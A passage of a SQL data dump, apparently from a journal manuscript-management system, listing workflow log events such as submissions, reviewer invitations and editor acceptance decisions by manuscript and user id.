00:00:00','Publisher has Invited Reviewer',11932,'Publisher',48),(112110,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11932,'Publisher',48),(112118,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10781,'Publisher',75),(112146,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11949,'Author',12253),(112150,'0000-00-00 00:00:00','Publisher : Notified Editor',11808,'Publisher',85),(112151,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11808,'Editor',1291),(112152,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11786,'Publisher',85),(112153,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11786,'Publisher',85),(112154,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11859,'Editor',194),(112155,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11859,'Editor',194),(112156,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11859,'Publisher',48),(112157,'0000-00-00 00:00:00','Reviewer has submitted comments',11859,'Reviewer',11520),(112168,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11951,'Author',12255),(112169,'0000-00-00 00:00:00','Reviewer has submitted comments',11619,'Reviewer',18838),(112176,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11618,'Publisher',988),(112204,'0000-00-00 00:00:00','Reviewer has submitted comments',11739,'Reviewer',11520),(112205,'0000-00-00 00:00:00','Reviewer has submitted comments',11739,'Reviewer',11520),(112206,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11739,'Publisher',48),(112207,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11739,'Publisher',48),(112216,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11949,'Publisher',85),(112217,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112218,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112219,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112220,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112221,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112222,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112223,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112224,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112225,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112226,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112227,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112228,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112229,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112230,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112231,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112232,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112233,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112234,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112235,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112236,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112237,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112238,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112239,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112240,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112241,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112242,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112243,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112244,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112245,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112246,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112247,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112248,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112249,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112250,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112255,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',11808,'Editor',1291),(112256,'0000-00-00 00:00:00','Author sent Email',11808,'Author',12148),(112260,'0000-00-00 00:00:00','Author sent Email',11808,'Author',12148),(112262,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11958,'Author',12261),(112264,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11959,'Author',12263),(112265,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11962,'Author',12267),(112272,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11963,'Publisher',84),(112280,'0000-00-00 00:00:00','Reviewer has submitted comments',11786,'Reviewer',14663),(112281,'0000-00-00 00:00:00','Publisher : Notified Editor',11786,'Publisher',85),(112283,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11808,'Editor',1291),(112308,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11859,'Publisher',48),(112318,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11968,'Author',12272),(112319,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11969,'Author',12273),(112327,'0000-00-00 00:00:00','Author sent Email',10994,'Author',11523),(112334,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11951,'Publisher',988),(112335,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11951,'Publisher',988),(112336,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11951,'Publisher',988),(112337,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11951,'Publisher',988),(112338,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11951,'Publisher',988),(112339,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11951,'Publisher',988),(112347,'0000-00-00 00:00:00','Manuscript Updated',11852,'Publisher',988),(112348,'0000-00-00 00:00:00','Reviewer has submitted comments',11852,'Reviewer',18838),(112349,'0000-00-00 00:00:00','Publisher : Notified Editor',11852,'Publisher',988),(112350,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11852,'Editor',1410),(112351,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11852,'Editor',1410),(112352,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11852,'Publisher',988),(112357,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11914,'Publisher',75),(112369,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11808,'Publisher',85),(112370,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11808,'Publisher',85),(112386,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11962,'Publisher',48),(112397,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11962,'Publisher',48),(112398,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11962,'Publisher',48),(112399,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11962,'Publisher',48),(112400,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11962,'Publisher',48),(112401,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11962,'Publisher',48),(112421,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11959,'Publisher',972),(112422,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11959,'Publisher',972),(112423,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11959,'Publisher',972),(112424,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11959,'Publisher',972),(112425,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11230,'Publisher',972),(112426,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11230,'Publisher',972),(112427,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11230,'Publisher',972),(112428,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11870,'Publisher',972),(112429,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11870,'Publisher',972),(112430,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11870,'Publisher',972),(112431,'0000-00-00 00:00:00','Reviewer has submitted comments',11230,'Reviewer',14071),(112432,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11230,'Editor',1310),(112433,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11230,'Editor',1310),(112440,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11230,'Publisher',972),(112508,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11984,'Author',12285),(112529,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11786,'Editor',1408),(112530,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11786,'Editor',1408),(112531,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11786,'Publisher',85),(112534,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(112535,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(112536,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(112537,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(112538,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(112539,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(112540,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(112541,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(112542,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(112543,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(112544,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(112545,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(112546,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(112547,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(112548,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11855,'Publisher',85),(112606,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11969,'Publisher',1033),(112607,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11968,'Publisher',1033),(112608,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11969,'Publisher',1033),(112609,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11969,'Publisher',1033),(112610,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11963,'Publisher',84),(112611,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11968,'Publisher',1033),(112612,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11968,'Publisher',1033),(112622,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11958,'Publisher',673),(112629,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11786,'Publisher',85),(112679,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112681,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112682,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112683,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112684,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112685,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112686,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112687,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11949,'Publisher',85),(112723,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',12008,'Publisher',84),(112742,'0000-00-00 00:00:00','Author sent Email',11618,'Author',12009),(112743,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12013,'Author',12313),(112744,'0000-00-00 00:00:00','Reviewer has submitted comments',11949,'Reviewer',10962),(112745,'0000-00-00 00:00:00','Reviewer has updated comments',11949,'Reviewer',10962),(112755,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11963,'Publisher',84),(112756,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11963,'Publisher',84),(112757,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11963,'Publisher',84),(112758,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11963,'Publisher',84),(112759,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11963,'Publisher',84),(112760,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11963,'Publisher',84),(112761,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11963,'Publisher',84),(112762,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11963,'Publisher',84),(112763,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11963,'Publisher',84),(112764,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11963,'Publisher',84),(112765,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11963,'Publisher',84),(112766,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11963,'Publisher',84),(112767,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11963,'Publisher',84),(112768,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11963,'Publisher',84),(112769,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11963,'Publisher',84),(112770,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11963,'Publisher',84),(112788,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11963,'Publisher',84),(112796,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10527,'Editor',1342),(112797,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10527,'Editor',1342),(112798,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10527,'Publisher',984),(112799,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10527,'Publisher',984),(112821,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(112822,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(112823,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(112824,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(112825,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(112826,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(112827,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(112828,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(112829,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(112830,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(112831,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(112832,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(112833,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(112834,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(112835,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(112836,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(112837,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(112838,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(112839,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(112845,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11984,'Publisher',75),(112865,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11859,'Publisher',48),(112875,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12036,'Author',12331),(112996,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12013,'Publisher',984),(113020,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',12080,'Publisher',84),(113025,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12013,'Publisher',984),(113026,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12013,'Publisher',984),(113027,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12013,'Publisher',984),(113028,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12013,'Publisher',984),(113029,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12013,'Publisher',984),(113030,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12013,'Publisher',984),(113031,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12013,'Publisher',984),(113032,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12013,'Publisher',984),(113033,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12013,'Publisher',984),(113034,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12013,'Publisher',984),(113035,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12013,'Publisher',984),(113036,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12013,'Publisher',984),(113037,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11566,'Publisher',988),(113068,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11969,'Editor',1740),(113069,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11968,'Editor',1740),(113098,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12036,'Publisher',48),(113106,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12103,'Author',12391),(113107,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12104,'Author',12392),(113110,'0000-00-00 00:00:00','Reviewer has submitted comments',11963,'Reviewer',20792),(113113,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12008,'Publisher',84),(113132,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',12108,'Publisher',84),(113148,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12008,'Publisher',84),(113149,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12008,'Publisher',84),(113150,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12008,'Publisher',84),(113151,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12008,'Publisher',84),(113152,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12008,'Publisher',84),(113153,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12008,'Publisher',84),(113154,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12008,'Publisher',84),(113155,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12008,'Publisher',84),(113156,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12008,'Publisher',84),(113157,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12008,'Publisher',84),(113158,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12008,'Publisher',84),(113159,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12008,'Publisher',84),(113160,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12008,'Publisher',84),(113161,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12008,'Publisher',84),(113162,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12008,'Publisher',84),(113163,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12008,'Publisher',84),(113167,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',10840,'Publisher',84),(113169,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10980,'Publisher',84),(113170,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10980,'Publisher',84),(113171,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11546,'Publisher',84),(113172,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11670,'Publisher',84),(113173,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11670,'Publisher',84),(113183,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12036,'Publisher',48),(113184,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12036,'Publisher',48),(113185,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12036,'Publisher',48),(113186,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12036,'Publisher',48),(113187,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12036,'Publisher',48),(113252,'0000-00-00 00:00:00','Publisher : Notified Editor',11949,'Publisher',85),(113253,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11949,'Editor',203),(113254,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11962,'Editor',194),(113255,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11962,'Editor',194),(113256,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11932,'Editor',194),(113257,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11932,'Editor',194),(113258,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11759,'Editor',194),(113259,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11759,'Editor',194),(113260,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11744,'Editor',194),(113261,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11744,'Editor',194),(113263,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11852,'Publisher',988),(113265,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11962,'Publisher',48),(113301,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11949,'Publisher',85),(113353,'0000-00-00 00:00:00','Author sent Email',11550,'Author',11954),(113355,'0000-00-00 00:00:00','Manuscript Submitted by Author',12133,'Author',10406),(113357,'0000-00-00 00:00:00','Author sent Email',11547,'Author',11948),(113402,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12104,'Publisher',988),(113405,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12104,'Publisher',988),(113406,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12104,'Publisher',988),(113407,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12104,'Publisher',988),(113410,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12091,'Publisher',1033),(113411,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12091,'Publisher',1033),(113412,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12091,'Publisher',1033),(113424,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12091,'Editor',1740),(113425,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9084,'Editor',1740),(113426,'0000-00-00 00:00:00','Publisher : Notified Editor',11550,'Publisher',85),(113427,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11550,'Editor',1291),(113430,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11550,'Publisher',85),(113431,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11949,'Publisher',85),(113463,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12080,'Publisher',84),(113464,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12108,'Publisher',84),(113465,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12108,'Publisher',84),(113466,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12108,'Publisher',84),(113467,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12108,'Publisher',84),(113468,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12108,'Publisher',84),(113469,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12108,'Publisher',84),(113470,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12108,'Publisher',84),(113471,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12108,'Publisher',84),(113472,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12108,'Publisher',84),(113473,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12108,'Publisher',84),(113474,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12108,'Publisher',84),(113475,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12108,'Publisher',84),(113476,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12108,'Publisher',84),(113477,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12103,'Publisher',75),(113479,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12080,'Publisher',84),(113480,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12080,'Publisher',84),(113481,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12080,'Publisher',84),(113482,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12080,'Publisher',84),(113483,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12080,'Publisher',84),(113484,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12080,'Publisher',84),(113485,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12080,'Publisher',84),(113486,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12080,'Publisher',84),(113487,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12080,'Publisher',84),(113488,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12080,'Publisher',84),(113489,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12080,'Publisher',84),(113490,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12080,'Publisher',84),(113491,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12080,'Publisher',84),(113492,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12080,'Publisher',84),(113493,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12080,'Publisher',84),(113494,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12080,'Publisher',84),(113495,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12080,'Publisher',84),(113496,'0000-00-00 00:00:00','Publisher : Notified Author',11320,'Publisher',85),(113499,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12108,'Editor',221),(113500,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12080,'Editor',221),(113501,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12008,'Editor',221),(113502,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11963,'Editor',221),(113503,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11963,'Editor',221),(113504,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12108,'Editor',221),(113505,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12080,'Editor',221),(113506,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12008,'Editor',221),(113507,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11963,'Editor',221),(113508,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11670,'Editor',221),(113511,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11670,'Publisher',84),(113553,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11550,'Editor',1291),(113554,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11550,'Editor',1291),(113555,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11550,'Editor',1291),(113563,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',10241,'Publisher',84),(113565,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',11481,'Publisher',84),(113572,'0000-00-00 00:00:00','Reviewer has submitted comments',11855,'Reviewer',20665),(113573,'0000-00-00 00:00:00','Publisher : Notified Editor',11855,'Publisher',85),(113574,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11855,'Editor',1408),(113575,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11855,'Editor',1408),(113576,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11855,'Publisher',85),(113577,'0000-00-00 00:00:00','Manuscript Submitted by Author',12157,'Author',12426),(113592,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11984,'Editor',161),(113593,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11984,'Editor',161),(113595,'0000-00-00 00:00:00','Manuscript Updated',11984,'Publisher',75),(113596,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11984,'Publisher',75),(113597,'0000-00-00 00:00:00','Manuscript Updated',11984,'Publisher',75),(113600,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11855,'Publisher',85),(113603,'0000-00-00 00:00:00','Reviewer has updated comments',11673,'Reviewer',20696),(113604,'0000-00-00 00:00:00','Reviewer has updated comments',11673,'Reviewer',20696),(113605,'0000-00-00 00:00:00','Reviewer has updated comments',11487,'Reviewer',20695),(113620,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12170,'Author',12436),(113636,'0000-00-00 00:00:00','Reviewer has submitted comments',12008,'Reviewer',20792),(113641,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12177,'Author',12443),(113657,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12133,'Publisher',75),(113769,'0000-00-00 00:00:00','Publisher : Notified Editor',11619,'',1216),(113770,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11619,'Editor',1410),(113771,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11619,'Editor',1410),(113772,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11619,'',1216),(113773,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11619,'',1216),(113774,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12157,'Publisher',988),(113775,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12157,'Publisher',988),(113776,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12157,'Publisher',988),(113777,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12157,'Publisher',988),(113778,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12157,'Publisher',988),(113784,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12170,'Publisher',48),(113785,'0000-00-00 00:00:00','Publisher 